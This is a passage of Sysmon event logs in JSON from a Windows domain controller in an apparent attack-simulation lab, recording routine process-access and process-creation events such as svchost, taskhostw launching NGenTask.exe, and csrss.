System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6309,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+ecf6|c:\\windows\\system32\\lsm.dll+92e1|c:\\windows\\system32\\lsm.dll+91d0|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6310,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-00101AB90000}\r\nTargetProcessId: 1132\r\nTargetImage: C:\\Windows\\system32\\svchost.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+10038|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-00101AB90000}","TargetProcessId":"1132","TargetImage":"C:\\Windows\\system32\\svchost.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+10038|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6311,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FD4-5F2D-0000-001041B90000}\r\nTargetProcessId: 1140\r\nTargetImage: C:\\Windows\\System32\\svchost.exe\r\nGrantedAccess: 0x40\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+b81f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FD4-5F2D-0000-001041B90000}","TargetProcessId":"1140","TargetImage":"C:\\Windows\\System32\\svchost.exe","GrantedAccess":"0x40","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\lsm.dll+b81f|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+7cf9|C:\\Windows\\System32\\combase.dll+1319|C:\\Windows\\System32\\combase.dll+4f3ec|C:\\Windows\\System32\\combase.dll+4f0a2|C:\\Windows\\System32\\combase.dll+4df28|C:\\Windows\\System32\\combase.dll+4c4bd|C:\\Windows\\System32\\combase.dll+4bb9f|C:\\Windows\\System32\\combase.dll+65859|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5973e|C:\\Windows\\System32\\RPCRT4.dll+39167|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":6312,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.971\r\nProcessGuid: {90617006-422C-5F2D-0000-00107E300900}\r\nProcessId: 4160\r\nImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngentask.exe\r\nFileVersion: 4.7.2053.0 built by: NET47REL1\r\nDescription: Microsoft .NET Framework optimization service\r\nProduct: Microsoft® .NET Framework\r\nCompany: Microsoft Corporation\r\nOriginalFileName: NGenTask.exe\r\nCommandLine: \"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\NGenTask.exe\" /RuntimeWide /StopEvent:876\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=D4FCDD915CAA2B207531B145FD538E1A,SHA256=4279C50E5BF0F5F89358CA5BF1876827BF4D055DCE6BDBDEA56D4AD9F5047CCE,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744\r\nParentProcessGuid: {90617006-422C-5F2D-0000-001047240900}\r\nParentProcessId: 4824\r\nParentImage: C:\\Windows\\System32\\taskhostw.exe\r\nParentCommandLine: taskhostw.exe /RuntimeWide","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.971","ProcessGuid":"{90617006-422C-5F2D-0000-00107E300900}","Image":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\ngentask.exe","FileVersion":"4.7.2053.0 built by: NET47REL1","Description":"Microsoft .NET Framework optimization service","Product":"Microsoft® .NET Framework","Company":"Microsoft Corporation","OriginalFileName":"NGenTask.exe","CommandLine":"\"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\NGenTask.exe\" /RuntimeWide /StopEvent:876","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=D4FCDD915CAA2B207531B145FD538E1A,SHA256=4279C50E5BF0F5F89358CA5BF1876827BF4D055DCE6BDBDEA56D4AD9F5047CCE,IMPHASH=F34D5F2D4577ED6D9CEEC516C1F5A744","ParentProcessGuid":"{90617006-422C-5F2D-0000-001047240900}","ParentProcessId":"4824","ParentImage":"C:\\Windows\\System32\\taskhostw.exe","ParentCommandLine":"taskhostw.exe /RuntimeWide","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6313,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-422C-5F2D-0000-001047240900}\r\nSourceProcessId: 4824\r\nSourceThreadId: 2728\r\nSourceImage: C:\\Windows\\system32\\taskhostw.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00107E300900}\r\nTargetProcessId: 4160\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\NGenTask.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b56bc|UNKNOWN(00007FF8EA4511E2)","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-422C-5F2D-0000-001047240900}","SourceProcessId":"4824","SourceThreadId":"2728","SourceImage":"C:\\Windows\\system32\\taskhostw.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00107E300900}","TargetProcessId":"4160","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\NGenTask.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+3332f6|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b5560|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b4f07|C:\\Windows\\assembly\\NativeImages_v4.0.30319_64\\System\\2f3f81fc6bc0aadbef611316a8be12ed\\System.ni.dll+2b56bc|UNKNOWN(00007FF8EA4511E2)","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6314,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-422C-5F2D-0000-00107E300900}\r\nTargetProcessId: 4160\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\NGenTask.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-422C-5F2D-0000-00107E300900}","TargetProcessId":"4160","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework\\v4.0.30319\\NGenTask.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6315,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+12343|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6316,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 11:59:40.963","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-3FE4-5F2D-0000-00108F150200}","TargetProcessId":"2736","TargetImage":"C:\\Windows\\sysmon64.exe","GrantedAccess":"0x1400","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+5eab4|c:\\windows\\system32\\lsm.dll+11378|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+dbc0d|C:\\Windows\\System32\\RPCRT4.dll+b3cc|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 11:59:41","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 11:59:40","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":6317,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 11:59:40.963\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-3FE4-5F2D-0000-00108F150200}\r\nTargetProcessId: 2736\r\nTargetImage: C:\\Windows\\sysmon64.exe\r\nGrantedAccess: 0x1400\r\nCallTrace: 